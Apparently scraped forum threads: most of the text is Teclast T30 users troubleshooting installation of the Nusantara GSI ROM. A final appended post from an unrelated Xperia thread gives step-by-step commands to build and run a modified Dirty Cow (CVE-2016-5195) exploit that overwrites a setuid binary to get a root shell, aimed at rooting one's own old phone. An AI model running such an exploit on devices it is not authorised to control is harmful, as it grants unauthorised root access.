ok I was able to flash using platform-tools_r30.0.5-windows.zip
[Android General] graziano68:
after about 8 hours I succeded , installed Nusantara!!
[Android General] rbt07:
Give here link to download or give it to attachment please. I will give it to 2nd post.

In the 2nd post si written: in any problems with PC and tablet communication (with platform tools or Flashtool), install the drivers "MTK_USB_All_v1.0.8.zip" from attachment. Did you try this version?

Edit, I found it...
[Android General] graziano68:
BTW yes I tried MTK_USB_All_v1.0.8.zip too
[Android General] rbt07:
Thanks for info. I added the drivers that helped you to the instructions in the second post.
[Android General] graziano68:
after 4 days I can say that it works great , it's fast .

Only negative point for me, I do not like default theme which has those icons so small, but I am searching

first of all a fast tablet.
[Android General] rbt07:
You're right the icons could be bigger, but it's the fastest running GSI ROM on our tablet yet.
[Android General] graziano68:
yep ! I use Teclast T30 especially for my workout sessions using Zwift , now Zwift can run with higher graphic details ( it depends on Zwift which thinks the hardware is better than before and increases the graphic details ) and it run without the lags I had before . I solved also an issue with ANT+ which was not working before . Nusantara is the best for me.
[Android General] graziano68:
using smart launcher 5 now with Nusantara . it's very good.
[Android General] rbt07:
Yes, Nusantara 2.6 is currently probably the best GSI ROM for the Teclast T30
[Android General] Medard22:
Hey guys, I am using the hybrid ROM for now, but the tablet likes to run pretty slow. I would like to try Nusantara, should I use the 2.6 version or is it okay to try newer builds like version 3.2 found here. It looks it´s without gapps and I am not sure how to install zhem. Thanks

NusantaraROM - GSI

NusantaraProject ROM GSI (Generic system image ROM) For all devices with supported project treble.

[Android General] rbt07:
I am using Nusantara 2.6 for 2 months and must to say, it is very good GSI ROM for Teclast T30. Everything works for me.
[Android General] Medard22:
Ok, I won´t experiment then and use version 2.6. Thanks.
[Android General] rbt07:
Version 2.6 is with GAPPS and fits to our System partition. It is very important!!!

Teclast T30 in standard partition configuration supports max. 3GB size system partition only.

Most newer GSI ROMs have a larger size.
[Android General] Medard22:
Ok. I got everything working. The ROM is very clean and looks pretty nice. I will give it a spin in the next couple of days. Thank you for your advice. And to Nusantara developers - Terima kasih! :)
[Android General] Medard22:
What is your experience with battery life on Nusantara? It took about 15% while idling overnight. I know it´s a freshly installed ROM, so some extra battery usage can be expected. However, it seems like the deep sleep mode doesn´t kick in at all. I just want to know about your experience before rooting the tablet and investigating wakelocks.
[Android General] Medard22:
So I ran into some minor issues, I wanted to start over and make factory reset. After factory reset the tablet now boots only to TWRP. The Volume+ and Power doesn´t show the selection menu and tablet boots straight to TWRP. I tried to flash back the hybrid ROM with SP Flash Tool, but no luck. It boots only to TWRP now.
[Android General] Medard22:
Just correct me if I am wrong, but by doing factory reset from the ROM itself it failed, because it needs original recovery to work. And since I was using TWRP it wasn´t able to finish thus bootlooping to recovery (TWRP) all the time.

I fixed it by installing stock recovery and let it do it´s thing.
[Android General] Medard22:
Do you have a root on your tablet? If so how can I root Nusantara. I saw Lightning Killer mention flashing phh su, but I really don´t want to screw the tablet now that I made it work.
[Android General] Medard22:
I have managed to narrow down the deep sleep issues in Nusantara. It is either caused by wifi or location services. To fix either of this issues I need root and access to build.prop. Also the back and home key on the keyboard doesn´t work and they are even not registered in the system. Fixing this requires root access as well.

Other than this it works like a charm, it´s very fast and much more responsive than the original Rom with no weird slowdowns. It´t a pity Teclast doesn´t give a sh** about software support.
[Android General] Medard22:
I cannot flash phh su zip, I get this error in TWRP - Failed to mount ´/system´ (Structure needs cleaning)
[Android General] tiltkoko83:
So clean it. e2fsck
[Android General] Medard22:
Please elaborate. I haven ´t done it before. Can I do it without wiping user data?
[Android General] Medard22:
I found it in TWRP, sadly it doesn't work. It will run e2fsck, no issues found. Still can't mount system.
[Android General] rbt07:
Many newer GSI ROMs are READ ONLY type, this also applies to the Nusantara 2.6

So, You can't flash SU ZIP file there. ROM must be used as is.
[Android General] Medard22:
I see, makes sense. I managed to fix the deep sleep mode by using MacroDroid and turning off wifi when the tablet is not in use for a long time. Did you experience a similar issue or is it working OK for you?
[Android General] rbt07:
Can you make a repaired version of ROM?

I haven't found a serious mistake yet. It probably also depends on what the tablet is used for.

I have tried a lot of GSI ROMs and I feel that Nusantara 2.6 works best on the Teclast T30.
[Android General] Medard22:
Without root, there is not an easy way how to debug deep sleep issues. MacroDroid is an app that lets you perform actions based on context. The free version is good enough, just create two tasks - one to turn wifi off when the screen is off and the other to turn wifi on when the tablet is unlocked. Works well so far.

There are some apps that can detect and log wakelock events without root if you grant them permissions via adb. There is either problem with build.prop and the wifi is scanning the area too often, preventing deep sleep. Or there is a misbehaving system app that is using wifi and prevents deep sleep. Considering the issues with the initial setup, the latter just might be the case. I will let you know if I find anything useful.
[Android General] rbt07:
I also prefer ROOT, but the new GSI ROMs are almost all READ ONLY. I do not know why.
[Android General] HunCut78:
Hi!

I want to install Nusantara 2.6.

Firstly I installed "hybrid 1.2a" ROM. After succesful flashing, go to TWRP recovery.

From TWRP Install Nusantara_v2.6-11-arm64-ab-GApps.img to system partition.

Reboot to system and just flashing the Teclast logo, not booting the system...

Whats wrong in the steps above, or whats missing?
[Android General] rbt07:
At first, I assume you have properly installed the Nusantara image file to System patition.

As a next step you must install Boot_105.img file to Boot partion.

Do it in TWRP and restart tablet. Now Nusantara should be running.

Boot_105.zip file is attached in in the 2nd post in this discussion. Unpack it, you will get Boot_105.img file.
[Android General] HunCut78:
Hi!

Thanks for your fast reply!

I tried to install it three times yesterday, unsuccesfully.

All three times I started from your 1.2a hybrid ROM with TWRP.

The first two times I installed "Nusantara_v2.6-11-arm64-ab-GApps.img" on the System partition succesfully, then I installed Boot_105.img on the Boot partition succesfully and then TWRP Reboot to System. After the T30 T1P4 restart, the display will turns on with the Teclast logo for 10 seconds (approx.), then turns it off and on again and so on. The boot will not start.

Then I put again 1.2a back from the PC with the Flash Tool, then from TWRP install only Nusantara on the System partition and then Reboot to system, but the result is the same as above.

It is not clear to me that the bootloader unlock is required too if I start from 1.2a or do I install the attached Boot_105.img on the Boot partition and it is enough? Just because I can't able to fastboot command succesfully yet, nothing response to "fastboot devices" command (today I'll try from an another PC).
[Android General] HunCut78:
So my problem is that, in fastboot mode there isn't Teclast T30 "Android Bootloader Interface" driver. My situation is completly same like in this video , so I need the fastboot driver for Teclast to set it manually in a PC connected fastboot mode. Is it downloadable anywhere, like in this Xiaomi video with the MI fastboot driver?

Edit.:

And YESSS!! Succesfully installed. The problem was that the bootloader wasn't unlocked. Finally I found the Android Bootloader driver in the installed devices and after I manually selected the Google Inc. Android Bootloader Interface driver from the list and restarted the PC, everything worked like a charm!

Edit2.:

Nusantara 2.6 ROM is very good, would be nice a same ROM for Teclast T20 too...
[Android General] rbt07:

Hello. First at all thank you for your work.

Very valuable info I found on here.

Thanks to that I managed to install Nusantara 2.6, which works so smooth on T30. However, hotspot doesn't work so I can't tether data towards my phone.

Any idea about how to fix it?

Thanks again.
[Android General] HunCut78:
On Nusantara Project page there is tons of different ROM versions. Anybody knows which one is ours? Maybe there is a newer from it than the 2.6?

And an another question: what is the system partition size of the Teclast T20? I cannot found nowhere on the net...
[Android General] rbt07:
See the 1st post, there is link to right Nusantara 2.6 version for Teclast T30.This is the best version for the Teclast T30.

I tried all the ROMs mentioned in the first post and I stayed on Nusantara 2.6.

I like to try a new fully functional ROM, but I'm tired of trying new semi-functional ROMs. If you will find a new better ROM, please write here. :)
[Android General] rbt07:
Hi, I use the opposite direction, so the phone serves as a hotspot.

The problem is that all GSI ROMs have small bugs, because it is a uni ROM for different hardware.

The best is the ROM directly created for a specific model. But since Teclast is coughing up development, GSI ROM must be enough for us.
[Android General] graziano68:
Hello

I am using Nusantara since Sep 2021 , I have no problem except of that after some hour with tabled ON,

suddendly it lose wifi , and I have no way to reconnect to my house wifi . Anyone experienced this problem.
[Android General] graziano68:
the problem above fixed itself some time ago, no idea what was the problem .

Is the Nusantara project for Teclast dead , no way to have Android 12 on Teclast ?

Has anyone tried Nusantara ROM 3.2 on T30?

[Android General] maccafan:
Nice informative thread..another of what could be a good device let down by lack of OEM support who are too busy pushing out incremental models.

Just my personal xperience. I have a TIP3 for which I cannot find any stock ROM even in the manufacturer page. I am not sure what the actual differences are between TIP 1, 2 3 & 4 but the ROM seem compatible.

Installed hyrbid 1.04/1.05 (no-root). Had an issue where the text bar within Clash of Clans would extend beyond the edges of the screen. So couldn't see the first 6 or 7 characters of what I was typing. Didn't test it for long as it annoyed me.

Installed the HAVOC OS ROM (Havoc-OS-v3.8-20200821). Very nice with the in built gesture navigation. But with only 300 MB of space for apps, unusable as a daily driver. The scatter file needs to be tweaked to give a 4 GB partition size.

Also I could not get the confirmation dialogue to authorise computers to connect to this device in fastboot.

Tried installing Nusantara_v2.6-11-arm64-ab-GApps.img multiple times. TWRP refused to install this ROM on the system partition with an error. Tried with both TWRP 3.3.1 & 3.3.5.

Funnily, on one occasion touch screen worked in TWRP after installing HAVOS OS, though I cannot remember the exact combination of what I did that caused this. Stopped working after a reboot.

I am now back to stock 1.04 meant for TIP 4 after a full format and download. Lost IMEI and restored it but have lost the serial number. Not sure which part of the NV RAM I have to write to for restoring this.

Only question is why can we not install TREBLE GSI ROM on 1.04 given that you are using the scatter from 1.04 to install the Chinese 1.05?

Edit; Sorry I was typing Capital "I" instead of the number "1" on the Teclast website. I have found the stock ROM 1.01 & 1.04. Same file for T1P2, 3 & 4.

[Sony Ericsson Xperia Mini, Mini Pro, Xperia Pro, A] f0k:
Hm, seems the user base is smaller than I expected :)

For posteriority, I can report that it's possible to get a temporary root shell using the Dirty Cow vulnerability. However, the proof of concept from https://github.com/timwr/CVE-2016-5195 does not work out of the box. It tries to overwrite /system/bin/run-as (a setuid root binary) with a new binary that spawns an interactive shell. This is a pretty large patch (trying to write about 62 kilobytes), and on my (slow) phone the exploit only managed to write small portions of it. I changed parts of the exploit to skip unneeded writes and not end too early, getting it to succeed: https://github.com/timwr/CVE-2016-5195/pull/99

Steps to reproduce (from a Linux terminal):

Download and extract the modified exploit from https://github.com/f0k/CVE-2016-5195/archive/more-efficient.zip:

wget https://github.com/f0k/CVE-2016-5195/archive/more-efficient.zip
unzip -d /tmp more-efficient.zip

Download and extract the Android NDK from https://dl.google.com/android/repository/android-ndk-r14b-linux-x86_64.zip and put it on your path:

wget https://dl.google.com/android/repository/android-ndk-r14b-linux-x86_64.zip
unzip -d /tmp android-ndk-r14b-linux-x86_64.zip
export PATH="$PATH:/tmp/android-ndk-r14b"

Attach the phone via USB, make sure USB debugging is enabled and adb can see the device (adb devices)

Compile the exploit:

cd /tmp/CVE-2016-5195-more-efficient/
make build

It will query your device via adb for the correct architecture and SDK version.

Push it to the device and run it:

adb push libs/*/dirtycow /data/local/tmp/dcow
adb push libs/*/run-as /data/local/tmp/run-as
adb shell
cd /data/local/tmp/
cat /system/bin/run-as run-as-original
chmod 777 dcow
./dcow run-as /system/bin/run-as --no-pad

(Or just run make root, if you don't need to know what is going on.)

If you now run run-as on the device (adb shell run-as), it will spawn a root shell. There are no further obstacles on the Xperia Ray's stock ICS ROM, you can mount -o rw,remount /system and modify the system partition, or whatever floats your boat. At least if you do not remount the system partition as writeable, the exploit should be temporary, so rebooting should restore the original /system/bin/run-as. Otherwise you may want to restore it via cat /data/local/tmp/run-as-original > /system/bin/run-as from a root shell.

Hope this helps someone from the future working with similarly outdated phones! According to Wikipedia, any phone with a Linux kernel between 2.6.22 and 4.8.3 / 4.7.9 / 4.4.26 is affected by DirtyCow, but if your device has SELinux, overwriting a setuid binary will not be enough.
